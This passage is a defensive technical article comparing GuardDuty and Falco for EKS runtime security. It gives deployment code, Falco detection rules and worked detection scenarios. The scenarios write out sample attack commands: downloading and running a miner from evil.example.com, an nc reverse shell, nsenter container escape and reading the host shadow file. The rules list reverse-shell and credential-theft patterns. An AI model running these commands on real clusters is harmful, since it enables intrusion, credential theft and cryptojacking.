EKS Runtime Security EKS runtime security architecture showing GuardDuty and Falco monitoring paths

Introduction

Kubernetes clusters are under siege. The moment you spin up an EKS cluster, the clock starts ticking – research shows that EKS clusters face their first attack attempt within 28 minutes of creation. Runtime security is no longer optional; it is the final line of defense when everything else – image scanning, admission controllers, network policies – has already been bypassed.

Two dominant approaches have emerged for EKS runtime threat detection: AWS GuardDuty EKS Runtime Monitoring, the fully managed AWS-native option, and Falco, the CNCF graduated open-source project that has become the de facto standard for Kubernetes runtime security. Both leverage eBPF to observe kernel-level system calls, but they take fundamentally different paths from there.

This article provides a head-to-head technical comparison with real detection scenarios, working deployment code, and a decision framework so you can choose the right tool – or combine both for defense-in-depth.

Current Landscape Statistics

  • Attack Frequency: 90% of organizations experienced at least one Kubernetes security incident in the past year, with 58% reporting container-specific breaches (Wiz Kubernetes Security Report 2025)
  • Business Impact: 46% of organizations experienced revenue or customer loss due to container security incidents (Tigera Kubernetes Statistics)
  • Time to Attack: EKS clusters are targeted within 28 minutes of creation, while AKS clusters face attacks within 18 minutes (Ananta Cloud 2026 Report)
  • Deployment Slowdowns: 67% of organizations have delayed deployments due to Kubernetes security concerns (Mend.io Kubernetes Security)
  • Machine Identity Explosion: Machine identities now outnumber humans by 40,000:1, with Kubernetes service accounts posing the highest identity risk (CNCF Security Features 2025)

AWS GuardDuty EKS Runtime Monitoring

How It Works

GuardDuty EKS Runtime Monitoring deploys a fully managed security agent as a DaemonSet across your EKS cluster worker nodes. The agent uses an eBPF probe to observe system calls at the kernel level – file access, process execution, and network connections – without requiring sidecar containers or application modifications.

The architecture works in three layers:

  1. eBPF Agent (DaemonSet): Collects runtime events from all pods on each node
  2. GuardDuty Service Backend: Correlates events with AWS threat intelligence, ML models, and known attack patterns
  3. Findings Pipeline: Publishes findings to GuardDuty console, Security Hub, EventBridge, and CloudWatch

A significant 2025 enhancement introduced Extended Threat Detection, which correlates security signals across EKS audit logs, runtime behavior, malware execution, and AWS API activity to detect multi-stage attacks targeting EKS clusters. This means GuardDuty can now identify attack chains where an attacker compromises a pod, escalates privileges, exfiltrates credentials, and makes API calls to other AWS services – all as a single correlated finding.

Key Detection Categories

GuardDuty EKS Runtime Monitoring detects threats across these finding types:

  • Execution: Reverse shells, suspicious binary execution, container escape attempts
  • Cryptomining: XMRig and other miner detection via process and network signatures
  • Credential Access: IMDS credential harvesting, secrets access from unexpected processes
  • Privilege Escalation: Unexpected privilege changes, namespace breakout attempts
  • Discovery: Kubernetes API enumeration, network scanning from pods
  • Defense Evasion: Log tampering, agent disabling, file modification in critical paths

Enabling GuardDuty EKS Runtime Monitoring with Terraform

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# guardduty-eks-runtime.tf

resource "aws_guardduty_detector" "main" {
  enable = true

  datasources {
    kubernetes {
      audit_logs {
        enable = true
      }
    }
  }
}

resource "aws_guardduty_detector_feature" "eks_runtime" {
  detector_id = aws_guardduty_detector.main.id
  name        = "EKS_RUNTIME_MONITORING"
  status      = "ENABLED"

  additional_configuration {
    name   = "EKS_ADDON_MANAGEMENT"
    status = "ENABLED"
  }
}

# Optional: Organization-wide enablement
resource "aws_guardduty_organization_configuration_feature" "eks_runtime_org" {
  detector_id = aws_guardduty_detector.main.id
  name        = "EKS_RUNTIME_MONITORING"
  auto_enable = "ALL"

  additional_configuration {
    name        = "EKS_ADDON_MANAGEMENT"
    auto_enable = "ALL"
  }
}

With EKS_ADDON_MANAGEMENT enabled, GuardDuty automatically manages the security agent deployment across your clusters. You do not need to install or maintain the agent yourself – it runs as a managed EKS add-on.

Verifying Agent Deployment

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Check the GuardDuty agent DaemonSet status
kubectl get daemonset -n amazon-guardduty

# Verify agent pods are running on all nodes
kubectl get pods -n amazon-guardduty -o wide

# Check agent health
kubectl logs -n amazon-guardduty -l app=guardduty-agent --tail=20

# List current GuardDuty findings for EKS
aws guardduty list-findings \
  --detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \
  --finding-criteria '{
    "Criterion": {
      "resource.resourceType": {
        "Eq": ["EKSCluster"]
      },
      "severity": {
        "Gte": 7
      }
    }
  }'

Automating GuardDuty Alerts with Python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
"""
GuardDuty EKS Runtime Finding Processor

Processes GuardDuty findings via EventBridge and routes
high-severity EKS runtime alerts to SNS and Slack.
"""

import json
import boto3
import os
from datetime import datetime

sns_client = boto3.client("sns")
guardduty_client = boto3.client("guardduty")

CRITICAL_SNS_TOPIC = os.environ.get(
    "CRITICAL_SNS_TOPIC",
    "arn:aws:sns:us-east-1:181303648587:alert-critical"
)
LOW_SNS_TOPIC = os.environ.get(
    "LOW_SNS_TOPIC",
    "arn:aws:sns:us-east-1:181303648587:alert-low"
)


def lambda_handler(event, context):
    """Process GuardDuty EKS Runtime findings from EventBridge."""
    detail = event.get("detail", {})
    finding_type = detail.get("type", "")
    severity = detail.get("severity", 0)
    title = detail.get("title", "Unknown Finding")
    description = detail.get("description", "")

    # Extract EKS-specific context
    resource = detail.get("resource", {})
    eks_cluster = resource.get("eksClusterDetails", {})
    cluster_name = eks_cluster.get("name", "unknown")

    # Extract runtime context if available
    runtime_details = detail.get("service", {}).get(
        "runtimeDetails", {}
    )
    process_name = runtime_details.get("process", {}).get(
        "name", "N/A"
    )
    container_name = runtime_details.get("context", {}).get(
        "containerName", "N/A"
    )
    namespace = runtime_details.get("context", {}).get(
        "namespace", "N/A"
    )

    # Build alert message
    alert = {
        "source": "GuardDuty EKS Runtime",
        "timestamp": datetime.utcnow().isoformat(),
        "cluster": cluster_name,
        "namespace": namespace,
        "container": container_name,
        "process": process_name,
        "finding_type": finding_type,
        "severity": severity,
        "title": title,
        "description": description,
        "finding_id": detail.get("id", ""),
    }

    # Route based on severity
    topic_arn = (
        CRITICAL_SNS_TOPIC if severity >= 7 else LOW_SNS_TOPIC
    )

    sns_client.publish(
        TopicArn=topic_arn,
        Subject=f"[EKS Runtime] {title} - {cluster_name}",
        Message=json.dumps(alert, indent=2),
    )

    # For critical findings, trigger automated response
    if severity >= 8:
        trigger_incident_response(alert)

    return {
        "statusCode": 200,
        "finding_type": finding_type,
        "severity": severity,
        "action": "alerted",
    }


def trigger_incident_response(alert):
    """Initiate automated incident response for critical findings."""
    # Example: Isolate the pod by applying a deny-all NetworkPolicy
    print(
        f"CRITICAL: Initiating incident response for "
        f"{alert['container']} in {alert['namespace']}"
    )
    # In production, invoke a Step Function or Lambda
    # that applies NetworkPolicy isolation, captures forensics,
    # and notifies the on-call team

EventBridge Rule for EKS Runtime Findings

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# eventbridge-guardduty-eks.tf

resource "aws_cloudwatch_event_rule" "guardduty_eks_runtime" {
  name        = "guardduty-eks-runtime-findings"
  description = "Capture GuardDuty EKS Runtime Monitoring findings"

  event_pattern = jsonencode({
    source      = ["aws.guardduty"]
    detail-type = ["GuardDuty Finding"]
    detail = {
      type = [{
        prefix = "Execution:"
      }, {
        prefix = "CryptoCurrency:"
      }, {
        prefix = "PrivilegeEscalation:"
      }, {
        prefix = "UnauthorizedAccess:"
      }]
      resource = {
        resourceType = ["EKSCluster"]
      }
    }
  })
}

resource "aws_cloudwatch_event_target" "guardduty_processor" {
  rule      = aws_cloudwatch_event_rule.guardduty_eks_runtime.name
  target_id = "guardduty-eks-processor"
  arn       = aws_lambda_function.guardduty_processor.arn
}

resource "aws_lambda_permission" "allow_eventbridge" {
  statement_id  = "AllowEventBridge"
  action        = "lambda:InvokeFunction"
  function_name = aws_lambda_function.guardduty_processor.function_name
  principal     = "events.amazonaws.com"
  source_arn    = aws_cloudwatch_event_rule.guardduty_eks_runtime.arn
}

Falco: Open-Source Runtime Security

How It Works

Falco is a CNCF graduated project that functions as a runtime security engine for containers and Kubernetes. Like GuardDuty, it uses an eBPF probe attached to the kernel to observe system calls – but that is where the managed experience ends and the open-source flexibility begins.

Falco’s architecture consists of:

  1. eBPF Driver: The modern eBPF probe (default since Falco 0.38.0) captures kernel events without requiring kernel modules, running in a distroless/no-driver configuration
  2. Rules Engine: A powerful YAML-based rules language that lets you define exactly what constitutes a threat in your environment
  3. Falcosidekick: A companion project that routes alerts to 50+ output destinations (Slack, PagerDuty, AWS services, Elasticsearch, and more)
  4. Kubernetes Operator (emerging in 0.41.0): Deeper native integration for managing Falco deployments declaratively

Falco 0.41.0 (May 2025) introduced reimplemented container engine support, improved eBPF security by moving sensitive settings from mmapable .bss segments to dedicated maps, and a Kubernetes operator for simplified lifecycle management.

Key Advantages Over Managed Solutions

  • Custom Rules: Write detection logic specific to your applications and threat model
  • Multi-Cloud Portability: Same rules and tooling across AWS, GCP, Azure, and on-premises
  • Full Transparency: Inspect every rule, understand every alert, no black-box ML
  • Community Rules: Leverage a massive library of community-contributed detection rules
  • No Per-Resource Pricing: Open source with no per-node or per-cluster charges
  • Response Integration: 50+ output targets via Falcosidekick for flexible alert routing

Deploying Falco on EKS with Helm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Add the Falco Helm repository
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update

# Create namespace
kubectl create namespace falco

# Deploy Falco with eBPF driver and Falcosidekick
helm install falco falcosecurity/falco \
  --namespace falco \
  --set falcosidekick.enabled=true \
  --set falcosidekick.webui.enabled=true \
  --set driver.kind=modern_ebpf \
  --set collectors.kubernetes.enabled=true \
  --set falco.json_output=true \
  --set falco.log_stderr=true \
  --set falco.log_level=info \
  --set customRules."custom-rules\.yaml"="$(cat custom-rules.yaml)"

Or use a values.yaml for production deployments:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# falco-values.yaml

driver:
  kind: modern_ebpf

falco:
  json_output: true
  log_stderr: true
  log_level: info
  priority: warning
  grpc:
    enabled: true
  grpc_output:
    enabled: true

collectors:
  kubernetes:
    enabled: true
  containerd:
    enabled: true

falcosidekick:
  enabled: true
  webui:
    enabled: true
    replicaCount: 1
  config:
    slack:
      webhookurl: ""  # Set via --set or secret
      minimumpriority: "warning"
    aws:
      cloudwatchlogs:
        loggroup: "/eks/falco/alerts"
        logstream: ""
        minimumpriority: "warning"
      sns:
        topicarn: "arn:aws:sns:us-east-1:181303648587:alert-critical"
        minimumpriority: "critical"
      s3:
        bucket: "my-falco-logs-bucket"
        prefix: "falco/"
        minimumpriority: "notice"

tolerations:
  - effect: NoSchedule
    operator: Exists

resources:
  requests:
    cpu: 100m
    memory: 512Mi
  limits:
    cpu: 1000m
    memory: 1024Mi
1
2
3
4
5
6
7
8
# Deploy with values file
helm install falco falcosecurity/falco \
  --namespace falco \
  --values falco-values.yaml

# Verify deployment
kubectl get pods -n falco
kubectl logs -n falco -l app.kubernetes.io/name=falco --tail=20

Custom Falco Rules for Common Threats

The real power of Falco lies in writing rules that match your specific environment. Here is a production-ready custom rules file covering the most common EKS threats:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
# custom-rules.yaml

# -------------------------------------------------------------------
# Rule: Detect Cryptomining Processes
# Scenario: Attacker deploys XMRig or similar miner in a compromised pod
# -------------------------------------------------------------------
- rule: Detect Cryptomining Binary Execution
  desc: >
    Detects execution of known cryptocurrency mining binaries
    in any container. Covers XMRig, ethminer, cgminer, and
    common pool connections.
  condition: >
    spawned_process and container and
    (proc.name in (xmrig, minerd, minergate-cli, cgminer,
    bfgminer, ethminer, cpuminer, cpuminer-multi,
    t-rex, phoenixminer, nbminer, gminer) or
    proc.cmdline contains "stratum+tcp://" or
    proc.cmdline contains "stratum+ssl://" or
    proc.cmdline contains "--donate-level" or
    proc.cmdline contains "pool.minexmr.com" or
    proc.cmdline contains "monerohash.com")
  output: >
    Cryptominer detected in container
    (user=%user.name command=%proc.cmdline container=%container.name
    namespace=%k8s.ns.name pod=%k8s.pod.name
    image=%container.image.repository)
  priority: CRITICAL
  tags: [cryptomining, mitre_execution, T1496]

# -------------------------------------------------------------------
# Rule: Detect Reverse Shell
# Scenario: Attacker establishes outbound shell after initial access
# -------------------------------------------------------------------
- rule: Reverse Shell in Container
  desc: >
    Detects reverse shell connections from containers using
    common techniques: bash -i redirect, netcat, socat, python,
    and perl reverse shells.
  condition: >
    spawned_process and container and
    ((proc.name = bash and proc.cmdline contains "/dev/tcp/") or
    (proc.name in (nc, ncat, netcat) and
     proc.cmdline contains "-e") or
    (proc.name = socat and
     proc.cmdline contains "exec:") or
    (proc.name = python and
     proc.cmdline contains "socket" and
     proc.cmdline contains "connect") or
    (proc.name = perl and
     proc.cmdline contains "socket"))
  output: >
    Reverse shell detected
    (user=%user.name command=%proc.cmdline container=%container.name
    namespace=%k8s.ns.name pod=%k8s.pod.name
    connection=%fd.name)
  priority: CRITICAL
  tags: [reverse_shell, mitre_execution, T1059]

# -------------------------------------------------------------------
# Rule: Detect Container Escape Attempts
# Scenario: Attacker attempts to break out of container isolation
# -------------------------------------------------------------------
- rule: Container Escape via nsenter or chroot
  desc: >
    Detects attempts to escape container isolation using nsenter,
    chroot to host filesystem, or access to Docker socket.
  condition: >
    spawned_process and container and
    (proc.name = nsenter or
    (proc.name = chroot and proc.cmdline contains "/host") or
    (proc.name = mount and proc.cmdline contains "/var/run/docker.sock") or
    proc.cmdline contains "/.dockerenv" or
    proc.cmdline contains "/proc/1/root")
  output: >
    Container escape attempt detected
    (user=%user.name command=%proc.cmdline container=%container.name
    namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: CRITICAL
  tags: [container_escape, mitre_privilege_escalation, T1611]

# -------------------------------------------------------------------
# Rule: Detect Unexpected Privilege Escalation
# Scenario: Process gains root privileges inside a container
# -------------------------------------------------------------------
- rule: Privilege Escalation via setuid Binary
  desc: >
    Detects execution of setuid/setgid binaries or direct calls
    to privilege escalation tools inside containers.
  condition: >
    spawned_process and container and
    (proc.name in (su, sudo, doas) or
    (proc.name = chmod and proc.cmdline contains "+s") or
    (proc.name = chown and proc.args contains "root"))
  output: >
    Privilege escalation attempt
    (user=%user.name command=%proc.cmdline container=%container.name
    namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: WARNING
  tags: [privilege_escalation, mitre_privilege_escalation, T1548]

# -------------------------------------------------------------------
# Rule: Detect Kubernetes API Enumeration
# Scenario: Compromised pod probes the K8s API for lateral movement
# -------------------------------------------------------------------
- rule: Kubernetes API Access from Container
  desc: >
    Detects curl or wget requests to the Kubernetes API server
    from within a container, which may indicate reconnaissance
    or credential theft attempts.
  condition: >
    spawned_process and container and
    (proc.name in (curl, wget) and
     (proc.cmdline contains "kubernetes.default" or
      proc.cmdline contains "10.96.0.1" or
      proc.cmdline contains "/api/v1/secrets" or
      proc.cmdline contains "/api/v1/namespaces"))
  output: >
    Kubernetes API access from container
    (user=%user.name command=%proc.cmdline container=%container.name
    namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: WARNING
  tags: [k8s_api_access, mitre_discovery, T1613]

# -------------------------------------------------------------------
# Rule: Detect IMDS Credential Harvesting
# Scenario: Pod attempts to steal IAM credentials via metadata service
# -------------------------------------------------------------------
- rule: IMDS Credential Access from Container
  desc: >
    Detects attempts to access the EC2 Instance Metadata Service
    (IMDS) to harvest IAM role credentials from containers.
  condition: >
    spawned_process and container and
    (proc.name in (curl, wget) and
     (proc.cmdline contains "169.254.169.254" or
      proc.cmdline contains "metadata.google.internal"))
  output: >
    IMDS credential harvesting attempt
    (user=%user.name command=%proc.cmdline container=%container.name
    namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: CRITICAL
  tags: [credential_access, mitre_credential_access, T1552]

Head-to-Head Comparison

Feature GuardDuty EKS Runtime Falco
Detection Engine Managed ML + threat intel + eBPF eBPF + custom rules engine
Deployment Managed DaemonSet (EKS add-on) Helm chart DaemonSet
Custom Rules No – AWS-curated findings only Full custom YAML rules
Multi-Cloud AWS only AWS, GCP, Azure, on-prem
Threat Intel Integration AWS threat intelligence feeds Community rules, custom feeds
Alert Outputs Security Hub, EventBridge, CloudWatch 50+ outputs via Falcosidekick
Extended Threat Detection Multi-stage attack correlation Manual correlation required
Maintenance Zero – fully managed by AWS You manage upgrades, rules, scaling
Pricing Per vCPU-hour (approx $1.50/vCPU/month) Free (OSS) + compute costs
EKS Auto Mode Support Yes Requires node access
Compliance Reporting Security Hub integration Manual or third-party
Transparency Black-box ML models Full rule inspection
Container Runtime Support containerd (EKS default) containerd, CRI-O, Docker
Response Automation EventBridge + Lambda Falcosidekick + any target
Learning Curve Low – enable and forget Medium – rules authoring required
Community AWS support channels CNCF community, Slack, GitHub

Cost Comparison for a Typical EKS Deployment

For a cluster with 10 nodes, each running 4 vCPUs (40 vCPUs total):

Cost Component GuardDuty Falco
Service cost ~$60/month (40 vCPUs x $1.50) $0 (open source)
Compute overhead ~5% CPU per node (managed) ~100m-1000m CPU per node
Storage Included in GuardDuty S3/CloudWatch log costs
Alerting EventBridge + SNS (minimal) Falcosidekick compute + targets
Staff time Minimal Rules authoring + maintenance
Estimated monthly total ~$65-80 ~$10-30 (compute + storage)

The real cost difference is operational: GuardDuty requires near-zero maintenance while Falco requires ongoing rules management and upgrades. For teams with security engineering capacity, Falco’s lower direct cost and full customization make it compelling. For teams prioritizing speed, GuardDuty’s managed experience wins.

Real Detection Scenarios

Scenario 1: Cryptomining Attack

An attacker exploits a vulnerable web application running in your EKS cluster, gains shell access, and deploys XMRig to mine Monero.

Attack chain:

1
2
3
4
5
6
7
# Attacker exploits RCE vulnerability
curl -X POST http://vulnerable-app/api/exec -d '{"cmd":"whoami"}'

# Downloads and runs XMRig
wget -q https://evil.example.com/xmrig -O /tmp/xmrig
chmod +x /tmp/xmrig
/tmp/xmrig --url stratum+tcp://pool.minexmr.com:4444 --user <wallet>

GuardDuty Detection:

  • Finding type: CryptoCurrency:Runtime/BitcoinTool.B
  • Severity: HIGH (8.0)
  • Detection method: Process signature + network destination matching
  • Time to detect: Near real-time (seconds to minutes)
  • Response: EventBridge triggers Lambda for automated pod isolation

Falco Detection:

1
2
3
4
CRITICAL: Cryptominer detected in container
  (user=www-data command=/tmp/xmrig --url stratum+tcp://pool.minexmr.com:4444
   container=web-app namespace=production pod=web-app-7b9d4f6c-x2k1
   image=myregistry/web-app:v2.3)
  • Rule triggered: Detect Cryptomining Binary Execution
  • Priority: CRITICAL
  • Detection method: Process name + command line pattern matching
  • Time to detect: Milliseconds (kernel-level)
  • Response: Falcosidekick routes to SNS, Slack, and S3

Verdict: Both detect this reliably. GuardDuty adds network-level correlation (outbound to known mining pools). Falco gives you faster kernel-level detection and the ability to add custom mining pool addresses.

Scenario 2: Reverse Shell Establishment

After initial access, an attacker establishes persistence via a reverse shell using netcat.

Attack chain:

1
2
# Attacker establishes reverse shell
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.0.0.99 4444 > /tmp/f

GuardDuty Detection:

  • Finding type: Execution:Runtime/ReverseShell
  • Severity: HIGH (8.0)
  • Details: Identifies the outbound connection, process tree, and container context
  • Extended Threat Detection: Can correlate this with subsequent credential access

Falco Detection:

1
2
3
4
CRITICAL: Reverse shell detected
  (user=www-data command=nc -e /bin/bash 10.0.0.99 4444
   container=web-app namespace=production pod=web-app-7b9d4f6c-x2k1
   connection=10.0.0.99:4444)
  • Rule triggered: Reverse Shell in Container
  • Includes full process tree and network connection details

Verdict: Both detect standard reverse shell techniques. GuardDuty’s Extended Threat Detection excels at correlating the reverse shell with subsequent attacker actions. Falco lets you write rules for custom or obfuscated reverse shell variants specific to your environment.

Scenario 3: Privilege Escalation and Container Escape

An attacker attempts to escape the container by accessing the host filesystem through /proc/1/root.

Attack chain:

1
2
3
4
5
6
7
8
# Attempt to access host filesystem
ls /proc/1/root/etc/shadow

# Try nsenter to break into host namespace
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash

# Access Docker socket if mounted
curl --unix-socket /var/run/docker.sock http://localhost/containers/json

GuardDuty Detection:

  • Finding type: PrivilegeEscalation:Runtime/ContainerEscape
  • Severity: CRITICAL (9.0)
  • Detects nsenter, chroot, and Docker socket access patterns
  • Correlates with pod security context (privileged mode, host PID)

Falco Detection:

1
2
3
CRITICAL: Container escape attempt detected
  (user=root command=nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
   container=web-app namespace=production pod=web-app-7b9d4f6c-x2k1)

Verdict: Both detect standard escape vectors. Falco lets you extend detection to application-specific escape patterns. GuardDuty correlates with the pod’s security context and IAM role to assess blast radius automatically.

When to Use Which: Decision Framework

Choose GuardDuty EKS Runtime Monitoring When

  • AWS-only environment: Your Kubernetes workloads run exclusively on EKS
  • Small security team: You need detection without dedicated rules engineers
  • Compliance-first: You need Security Hub integration for compliance reporting
  • Multi-stage detection: You want automatic correlation across EKS audit logs, runtime, and AWS API activity
  • Speed to value: You want protection within minutes, not days
  • EKS Auto Mode: You use EKS Auto Mode where node-level access is limited

Choose Falco When

  • Multi-cloud or hybrid: You run Kubernetes across AWS, GCP, Azure, or on-premises
  • Custom threat model: You need detection rules tailored to your specific applications
  • Full transparency: You require complete visibility into what triggers alerts and why
  • Cost optimization: You have the engineering capacity to manage Falco but want to minimize service costs
  • Advanced customization: You need to detect application-specific behaviors, not just generic threats
  • Existing CNCF stack: You already run Prometheus, Grafana, and other CNCF tools

Choose Both (Defense-in-Depth) When

  • High-value targets: Your EKS clusters process sensitive data or financial transactions
  • Regulated industries: Healthcare, finance, or government workloads requiring layered controls
  • Security maturity: Your team has capacity to manage custom rules AND wants managed correlation
  • Zero-trust posture: You want overlapping detection to minimize blind spots

Defense-in-Depth: Running Both Together

The optimal approach for production EKS clusters is running both tools simultaneously. They complement each other: GuardDuty provides managed threat intelligence and multi-stage correlation, while Falco provides custom application-aware rules and multi-cloud portability.

Combined Architecture

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
# main.tf -- Combined GuardDuty + Falco deployment

# --- GuardDuty EKS Runtime Monitoring ---
resource "aws_guardduty_detector" "main" {
  enable = true
}

resource "aws_guardduty_detector_feature" "eks_runtime" {
  detector_id = aws_guardduty_detector.main.id
  name        = "EKS_RUNTIME_MONITORING"
  status      = "ENABLED"

  additional_configuration {
    name   = "EKS_ADDON_MANAGEMENT"
    status = "ENABLED"
  }
}

# --- Falco via Helm ---
resource "helm_release" "falco" {
  name             = "falco"
  repository       = "https://falcosecurity.github.io/charts"
  chart            = "falco"
  namespace        = "falco"
  create_namespace = true
  version          = "4.x.x"  # Pin to latest stable

  values = [
    templatefile("${path.module}/falco-values.yaml", {
      sns_topic_arn   = "arn:aws:sns:us-east-1:181303648587:alert-critical"
      s3_bucket       = aws_s3_bucket.falco_logs.id
      cloudwatch_group = aws_cloudwatch_log_group.falco.name
    })
  ]

  depends_on = [
    aws_guardduty_detector_feature.eks_runtime
  ]
}

# --- Shared Alert Infrastructure ---
resource "aws_s3_bucket" "falco_logs" {
  bucket = "my-org-falco-logs-${data.aws_caller_identity.current.account_id}"

  tags = {
    Customer    = "internal"
    Application = "eks-security"
    Environment = "prod"
    Owner       = "security-team"
    Costcenter  = "security"
  }
}

resource "aws_cloudwatch_log_group" "falco" {
  name              = "/eks/falco/alerts"
  retention_in_days = 90

  tags = {
    Customer    = "internal"
    Application = "eks-security"
    Environment = "prod"
    Owner       = "security-team"
    Costcenter  = "security"
  }
}

# Unified dashboard for both tools
resource "aws_cloudwatch_dashboard" "eks_security" {
  dashboard_name = "EKS-Runtime-Security"

  dashboard_body = jsonencode({
    widgets = [
      {
        type   = "metric"
        x      = 0
        y      = 0
        width  = 12
        height = 6
        properties = {
          title   = "GuardDuty EKS Findings"
          metrics = [
            ["AWS/GuardDuty", "FindingsCount", "DetectorId",
             aws_guardduty_detector.main.id]
          ]
          period = 300
          stat   = "Sum"
          region = "us-east-1"
        }
      },
      {
        type   = "log"
        x      = 12
        y      = 0
        width  = 12
        height = 6
        properties = {
          title  = "Falco Alerts"
          query  = "SOURCE '/eks/falco/alerts' | stats count(*) by priority"
          region = "us-east-1"
        }
      }
    ]
  })
}

data "aws_caller_identity" "current" {}

Deduplication Strategy

When running both tools, you will see duplicate alerts for the same event. Implement a deduplication layer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
"""
Alert Deduplication for GuardDuty + Falco

Processes alerts from both sources and deduplicates
based on pod, namespace, and time window.
"""

import json
import hashlib
import boto3
from datetime import datetime, timedelta

dynamodb = boto3.resource("dynamodb")
table = dynamodb.Table("eks-security-alerts")

DEDUP_WINDOW_MINUTES = 5


def generate_alert_key(alert):
    """Generate a deduplication key from alert properties."""
    components = [
        alert.get("namespace", ""),
        alert.get("pod", ""),
        alert.get("alert_type", ""),
    ]
    raw_key = "|".join(components)
    return hashlib.sha256(raw_key.encode()).hexdigest()[:16]


def is_duplicate(alert_key, timestamp):
    """Check if a similar alert was seen within the dedup window."""
    cutoff = (
        datetime.fromisoformat(timestamp)
        - timedelta(minutes=DEDUP_WINDOW_MINUTES)
    ).isoformat()

    response = table.get_item(Key={"alert_key": alert_key})
    if "Item" in response:
        last_seen = response["Item"]["last_seen"]
        if last_seen > cutoff:
            return True
    return False


def record_alert(alert_key, timestamp, source):
    """Record alert for future deduplication."""
    table.put_item(
        Item={
            "alert_key": alert_key,
            "last_seen": timestamp,
            "source": source,
            "ttl": int(
                (
                    datetime.fromisoformat(timestamp)
                    + timedelta(hours=24)
                ).timestamp()
            ),
        }
    )


def lambda_handler(event, context):
    """Process and deduplicate alerts from both sources."""
    source = event.get("source", "unknown")
    timestamp = datetime.utcnow().isoformat()

    # Normalize alert format from either source
    if source == "aws.guardduty":
        alert = normalize_guardduty(event)
    elif source == "falcosidekick":
        alert = normalize_falco(event)
    else:
        return {"statusCode": 400, "body": "Unknown source"}

    alert_key = generate_alert_key(alert)

    if is_duplicate(alert_key, timestamp):
        return {
            "statusCode": 200,
            "body": "Duplicate alert suppressed",
            "source": source,
        }

    record_alert(alert_key, timestamp, source)

    # Forward deduplicated alert to unified pipeline
    forward_alert(alert)

    return {"statusCode": 200, "body": "Alert processed"}


def normalize_guardduty(event):
    """Normalize GuardDuty finding to common format."""
    detail = event.get("detail", {})
    resource = detail.get("resource", {})
    eks = resource.get("eksClusterDetails", {})
    runtime = detail.get("service", {}).get("runtimeDetails", {})

    return {
        "source": "guardduty",
        "alert_type": detail.get("type", ""),
        "severity": detail.get("severity", 0),
        "namespace": runtime.get("context", {}).get("namespace", ""),
        "pod": runtime.get("context", {}).get("podName", ""),
        "container": runtime.get("context", {}).get(
            "containerName", ""
        ),
        "cluster": eks.get("name", ""),
        "description": detail.get("description", ""),
    }


def normalize_falco(event):
    """Normalize Falco alert to common format."""
    output_fields = event.get("output_fields", {})

    return {
        "source": "falco",
        "alert_type": event.get("rule", ""),
        "severity": event.get("priority", ""),
        "namespace": output_fields.get("k8s.ns.name", ""),
        "pod": output_fields.get("k8s.pod.name", ""),
        "container": output_fields.get("container.name", ""),
        "cluster": output_fields.get("k8s.cluster.name", ""),
        "description": event.get("output", ""),
    }


def forward_alert(alert):
    """Forward deduplicated alert to the unified alert pipeline."""
    sns = boto3.client("sns")
    sns.publish(
        TopicArn="arn:aws:sns:us-east-1:181303648587:alert-critical",
        Subject=f"[EKS Security] {alert['alert_type']} - {alert['cluster']}",
        Message=json.dumps(alert, indent=2),
    )

Best Practices and Recommendations

1. Start with GuardDuty, Extend with Falco

Enable GuardDuty EKS Runtime Monitoring first – it takes minutes and provides immediate coverage. Once your team has capacity, layer Falco on top for custom detections that GuardDuty cannot provide.

2. Write Application-Specific Falco Rules

Generic rules catch generic attacks. The highest-value Falco rules are those written for your applications:

1
2
3
4
5
6
7
8
9
10
11
12
13
# Example: Detect unexpected database client in a web frontend pod
